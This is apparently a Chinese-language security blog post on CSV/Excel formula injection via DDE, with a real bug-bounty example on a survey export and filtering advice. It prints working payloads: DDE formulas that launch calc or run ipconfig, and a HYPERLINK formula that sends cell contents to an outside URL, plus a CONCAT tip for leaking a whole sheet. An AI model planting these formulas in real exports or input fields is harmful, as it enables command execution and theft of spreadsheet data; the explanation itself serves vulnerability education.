CSV XLS 表格命令注入執行

0x01 概述
現在很多應用提供了導出電子表格的功能(不限於 Web 應用),早在 2014 年 8月 29 日國外 James Kettle 便發表了《Comma Separated Vulnerabilities》文章來講述導出表格的功能可能會導致注入命令的風險,因爲導出的表格數據有很多是來自於用戶控制的,如:投票應用、郵箱導出。攻擊方式類似於 XSS :所有的輸入都是不可信的。

0x02 公式注入 & DDE
我們知道在 Excel 中是可以運行計算公式的: =1+5,它會將以 = 開頭的單元格內容解釋成公式並運行,單純的運行計算公式可能沒什麼用,但這裏可以用到 DDE 。Dynamic Data Exchange(DDE)是一款來自微軟的古老技術,它是 Windows 下的一種跨進程通信的協議,支持 Microsoft Excel, LibreOffice 和 Apache OpenOffice。

執行 cmd 彈出計算器:

=cmd|’ /C calc’!A0
在這裏插入圖片描述
當然也可以使用 -cmd ,+cmd 來執行 DDE ,這個問題在2014年進行了修復(CVE-2014-3524),所以我們現在注入命令執行時軟件會有如下的提示:

在這裏插入圖片描述
這也就是現在這個漏洞類型的特殊性,雖然軟件有着這樣的安全風險提醒但仍有大量的廠商承認並修復潛在的漏洞威脅:

https://hackerone.com/reports/90274
https://hackerone.com/reports/111192

其中很大的一方面是由於信任域的原因導致用戶仍可能受到攻擊,用戶在 security.com 域下導出自己的Guestbook.csv ,但由於惡意用戶偷偷的在留言板中插入了惡意代碼:

POC

=HYPERLINK("https://www.lianlianpay.com?test="&A2&A3,"Error: Please click me!")

這樣就導致當用戶在導出報表後倘若點擊了某個單元格則會導致 A2,A3 的單元格內容泄露:
在這裏插入圖片描述
攻擊者通過查看服務器訪問日誌記錄就知道你表格有什麼內容了

所以說這個漏洞是要看背景的,由於它的特殊性(當然也可以配合社工),也就會出現廠商在審覈此類漏洞時明明是一個 CSV Injection 漏洞但不會確認修復的情況。

0x03 實例
之前報告給騰訊的《CSV Injection on wj.qq.com》漏洞(已經修復):在這裏插入圖片描述
用戶發起投票後,攻擊者可以注入CSV 公式/DDE代碼,之後管理員進入投票結果頁面導出 EXCEL :

/tmp cat 465864_seg_1.csv
"編號","開始答題時間","結束答題時間","自定義字段","1.您使用過xx網嗎?","2.您的性別","3.您的年齡?","4.您的婚姻狀況","5.您的最高學歷","6.您的月收入(或每月生活費)","7.您是否覺得xx網很容易找到","8.您對網站logo的滿意程度(logo即網站的品牌標識)","9.對導航欄目的滿意程度","10.對網站頁面設置及佈局的滿意程度","11.對網站內容編排的滿意程度","12.對網站色彩風格的滿意程度","13.對網站字體的滿意程度","14.與同類網站相比,您對xx上的價格滿意嗎","15.您對xx目前整體的產品質量水平感覺如何","16.您覺得xx上的商品信息的可信度怎麼樣","17.您覺得xx的售後服務怎麼樣","18.您覺得xx更新信息的及時性怎麼樣","19.您的諮詢或抱怨通常會得到及時的回覆嗎","20.您覺得xx的交易和評價機率真實可靠嗎","21.您覺得xx網能很好的保證交易時的安全性嗎","22.123123123",
"1","2016-04-27 19:26:45","2016-04-27 19:27:27","","A.使用過","A.男","C.26-30歲","B.未婚","D.本科","I.不方便透露","B.否","3","3","3","3","3","3","3","3","3","3","3","A.是","A.是","A.是","",
"2","2016-04-27 19:27:30","2016-04-27 19:28:09","","A.使用過","A.男","D.31-40歲","B.未婚","B.高中/中專","D.3001-5000元","A.是","3","3","4","4","4","4","4","4","4","4","4","A.是","B.否","A.是","=cmd|'/k ipconfig'!A0",

可以看到在用戶留言的字段,成功的注入:=cmd|’/k ipconfig’!A0 ,當然也可以通過不觸發安全警告的前提下竊取管理員導出的 CSV 數據,也就是前面提到的 =HYPERLINK 。

0x04 關於全文信息泄露
之前使用 &A1&A2&A3&A4 竊取表單數據的方式看起來有點笨重,我找到了一種新的方法來更方便的竊取全文信息:https://support.office.com/en-us/article/CONCAT-function-9b1a9a3f-94ff-41af-9736-694cbd6b4ca2?ui=en-US&rs=en-US&ad=US

APPLIES TO: Excel 2016, Excel Online, Excel for Android tablets, Excel Mobile, Excel for Android phones, Less.

2016 之前的 excel 和其他的版本的連接字符串的函數 concatenate 不支持 cell range 的語法,也不能自定義函數,這樣的話就沒有辦法簡寫,只能生成比較長的url,但 2016 之後的 excel 我們可以使用 concat 函數,支持傳入一個 range,比如 concat(A1:A10) ,這樣便能直接讀取整個表格中的數據。

0x05 修復方案
過濾公式所用到的特殊字符(不應盲目過濾),因爲個別情況下可能會影響產品的正常功能使用:

手機號碼 +86 xxxxx
郵箱地址 @test.com
字符串 test-injection

0x06 參考
http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/
http://www.freebuf.com/vuls/102790.html
https://hackerone.com/reports/90274
https://support.office.com/en-us/article/CONCAT-function-9b1a9a3f-94ff-41af-9736-694cbd6b4ca2?ui=en-US&rs=en-US&ad=US

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章